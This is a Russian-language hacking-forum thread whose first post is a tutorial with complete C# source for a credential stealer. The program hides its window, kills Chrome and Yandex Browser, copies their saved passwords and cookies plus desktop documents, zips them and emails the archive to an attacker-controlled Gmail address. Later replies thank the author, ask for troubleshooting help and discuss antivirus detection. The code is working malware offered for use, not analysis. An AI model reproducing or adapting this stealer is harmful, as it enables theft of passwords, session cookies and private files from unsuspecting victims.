Простой стиллер на С#

kasatgrog

Местный
Статус
offline
Регистрация
26.05.2016
Сообщения
106
Репутация
54
В этой статье я расскажу Вам, как написать свой стиллер на C#
Он будет с множеством детектов, но для начала пойдёт.

Для тех, кто не любит читать, я оставлю внизу весь код.

Итак, приступим!

Что нам понадобиться:
  • Visual Studio 2013
  • Соединение с интернетом
  • Внимательность
  • Немножко прямые руки тоже не помешают
  • Microsoft .NET Framework 4.5
Итак, создаем новый проект Windows Forms, переходим в свойства и выставляем следующие значения:
  • FormBorderStyle : None
  • Text : Оставляем пустоту
  • Enabled : False
  • ShowIcon : False
  • TopMost : False
  • TransparencyKey : Кликаем > система > control
  • CausesValidation : False
  • SizeGripStyle : Hide
Теперь код:
  • Вначале нам понадобятся эти библиотеки :
  • Код:
    using System;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    using System.IO.Compression;
    using System.Diagnostics;
    using System.Net;
    using System.Threading.Tasks;
    using System.Net.Mail;
    using System.Collections.Generic;

    • Дальше обьявим пути до нужных нам файлов:
    • Код:
      namespace svchost
      {
          public partial class Form1 : Form
          {
              public Form1()
              {
                  InitializeComponent();
                  string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
                
                  string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
                
                  string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
                
                  string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
                
                  string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
                
                  string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
                
                  string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
                
                  string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола

      • Теперь отсеиваем, то что нам ненужно:
      • Код:
        List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
                    foreach (string i in files) // пихаем
                    {
                        string extens = Path.GetExtension(i); // Делаем отсев по расширению
                        if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                        {
                            listFiles.Add(i); // пихаем
                        }
                    }
                    List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                        foreach(string i in listFiles)
                        {
                            names.Add(Path.GetFileName(i));
                        }

        • Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:
        • Код:
          foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
                      {
                          i.Kill();
                      }
                  
                      foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
                      {
                          i.Kill();
                      }

          • Теперь создаем папку, куда мы скопируем все наши файлы
          • Код:
            if (Directory.Exists(_path) == false) // проверка на наличие папки
                        {
                            DirectoryInfo dir = Directory.CreateDirectory(_path);
                        }
                        else
                        {
                            Directory.Delete(_path); // Удаление папки
                        }
                        for (int i = 0; i < listFiles.Count; i++ )
                        {
                            if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                            {
                                File.Delete(Path.Combine(_path, names[i])); // удаление
                            }
                            File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
                        }
                        try
                        {
                            File.Copy(Login_Data_Chrome, _path); // достаем пароли
                            File.Copy(Login_Data_Yandex, _path); // пароли
                            File.Copy(Chrome, _path);// куки
                            File.Copy(Yandex, _path);//куки
                        }
                        catch
                        {
                            /// Кукишь тебе а не куки!
                        }

            • Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске вбиваем DotNetZip и устанавливаем его
            • Теперь создаем архив и архивируем нашу папку:
            • Код:
              string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
                          using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
                          {
                              if (File.Exists(pathToLogs))
                              {
                                  File.Delete(pathToLogs); // опять проверки, проверки, проверки
                              }
                              zip.AddDirectory(_path); // создаем архив
                              zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                              zip.Save(Path.Combine(pathToLogs));
                          }

              • И наконец-то отправляем этот архив себе на почту:
              • Код:
                MailAddress from = new MailAddress("[email protected]", "Великий хакер");
                
                            // кому отправляем
                            MailAddress to = new MailAddress("[email protected]");
                
                            // создаем объект сообщения
                            MailMessage m = new MailMessage(from, to);
                
                            // тема письма
                            m.Subject = "Тест";
                
                            // текст письма
                            m.Body = "<h1>Логи</h1>";
                
                            // письмо представляет код html
                            m.IsBodyHtml = true;
                            m.Attachments.Add(new Attachment(pathToLogs));
                
                            // адрес smtp-сервера и порт, с которого будем отправлять письмо
                            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
                
                            // логин и пароль
                            smtp.Credentials = new NetworkCredential("[email protected]", "your_password");
                            smtp.EnableSsl = true;
                            smtp.Send(m);

              • Код:
                using System;
                using System.Threading.Tasks;
                using System.Windows.Forms;
                using System.IO;
                using System.IO.Compression;
                using System.Diagnostics;
                using System.Net;
                using System.Threading.Tasks;
                using System.Net.Mail;
                using System.Collections.Generic;
                namespace svchost
                {
                    public partial class Form1 : Form
                    {
                        public Form1()
                        {
                            InitializeComponent();
                            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
                            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
                            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
                            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
                            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
                            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
                            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
                            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
                            List<string> listFiles = new List<string>(); // пихаем их в этот список
                            foreach (string i in files) // пихаем
                            {
                                string extens = Path.GetExtension(i);
                                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                                {
                                    listFiles.Add(i); // пихаем
                                }
                            }
                            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                                foreach(string i in listFiles)
                                {
                                    names.Add(Path.GetFileName(i));
                                }
                
                
                            foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
                            {
                                i.Kill();
                            }
                        
                            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
                            {
                                i.Kill();
                            }
                
                            if (Directory.Exists(_path) == false) // проверка на наличие папки
                            {
                                DirectoryInfo dir = Directory.CreateDirectory(_path);
                            }
                            else
                            {
                                Directory.Delete(_path); // Удаление папки
                            }
                            for (int i = 0; i < listFiles.Count; i++ )
                            {
                                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                                {
                                    File.Delete(Path.Combine(_path, names[i])); // удаление
                                }
                                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
                            }
                            try
                            {
                                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                                File.Copy(Login_Data_Yandex, _path); // пароли
                                File.Copy(Chrome, _path);// куки
                                File.Copy(Yandex, _path);//куки
                            }
                            catch
                            {
                                /// Кукишь тебе а не куки!
                            }
                            string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
                            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
                            {
                                if (File.Exists(pathToLogs))
                                {
                                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                                }
                                zip.AddDirectory(_path); // создаем архив
                                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                                zip.Save(Path.Combine(pathToLogs));
                            }
                            //отправка на почту
                            MailAddress from = new MailAddress("[email protected]", "Великий хакер");
                            // кому отправляем
                            MailAddress to = new MailAddress("[email protected]");
                            // создаем объект сообщения
                            MailMessage m = new MailMessage(from, to);
                            // тема письма
                            m.Subject = "Тест";
                            // текст письма
                            m.Body = "<h1>Логи</h1>";
                            // письмо представляет код html
                            m.IsBodyHtml = true;
                            m.Attachments.Add(new Attachment(pathToLogs));
                            // адрес smtp-сервера и порт, с которого будем отправлять письмо
                            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
                            // логин и пароль
                            smtp.Credentials = new NetworkCredential("[email protected]", "your_password");
                            smtp.EnableSsl = true;
                            smtp.Send(m);
                            // вот и все
                
                        
                        }
                    }
                }
 

limon3100

Новичок
Статус
offline
Регистрация
25.01.2018
Сообщения
4
Репутация
0

KHyuston

Новичок
Статус
offline
Регистрация
24.10.2017
Сообщения
11
Репутация
4
Такой вопрос, а почему бы ему сразу готовый стиллер не выложить ?) Или типо не потопаешь - не полопаешь ? А то высрал на все ебало текста, незнающий не разберется офк
 

limon3100

Новичок
Статус
offline
Регистрация
25.01.2018
Сообщения
4
Репутация
0
Такой вопрос, а почему бы ему сразу готовый стиллер не выложить ?) Или типо не потопаешь - не полопаешь ? А то высрал на все ебало текста, незнающий не разберется офк
Какого черта "незнающий" забыл в ветке "Разработка", которая подразумевает, что человек хоть на кроху, но шарит в программировании или хотя бы как скомпилировать ГОТОВЫЕ исходники программы!
 

Monetka787

Заблокированные
Статус
offline
Регистрация
31.01.2018
Сообщения
125
Репутация
91
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Спасибо за инфу! Будем пробовать.
 

kasatgrog

Местный
Статус
offline
Регистрация
26.05.2016
Сообщения
106
Репутация
54
Такой вопрос, а почему бы ему сразу готовый стиллер не выложить ?) Или типо не потопаешь - не полопаешь ? А то высрал на все ебало текста, незнающий не разберется офк
Так я выложил чтобы люди хотя-бы попробовали и хоть немного разобрались в коде. Вечно все любят на всё готовое слетаться.
 

carupter01

Новичок
Статус
offline
Регистрация
13.09.2018
Сообщения
8
Репутация
1
+rep brooo...
 

CocoShanel

Новичок
Статус
offline
Регистрация
01.04.2019
Сообщения
1
Репутация
0
Ну,вроде сделал всё правильно,а на почту приходит пустой архив,не подскажешь,как исправить?
 

1qwer1

Новичок
Статус
offline
Регистрация
15.11.2019
Сообщения
3
Репутация
1
не знаю, не пробовал...
но все равно спасибо, ты хорошо постарался
 

MnST3m

Заблокированные
Статус
offline
Регистрация
25.03.2018
Сообщения
261
Репутация
307
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
не знаю, не пробовал...
но все равно спасибо, ты хорошо постарался
Врядли именно этот код робит еще!
Большая вероятность что в полном детекте!
Перед тем как апать тему ты обращай внимание на дату публикации! в самом верху слева!
Археология на борде не особо приветствуется! Во многих темах вопрос времени важный фактор, так как ничего не стоит на месте!
 

uglyboy322

Местный
Статус
offline
Регистрация
13.01.2017
Сообщения
197
Репутация
74
Врядли именно этот код робит еще!
Большая вероятность что в полном детекте!
Перед тем как апать тему ты обращай внимание на дату публикации! в самом верху слева!
Археология на борде не особо приветствуется! Во многих темах вопрос времени важный фактор, так как ничего не стоит на месте!
подобное апать почему бы и нет? Дурачек пересоберет себе фулл детект, а знающий возьмет только нужное и напишет уже своё)
 

mR_rabbits

Новичок
Статус
offline
Регистрация
03.12.2018
Сообщения
9
Репутация
0
Очень полезно))
Спасибо огромное за труд и объяснение)
Сам учусь, будет примером)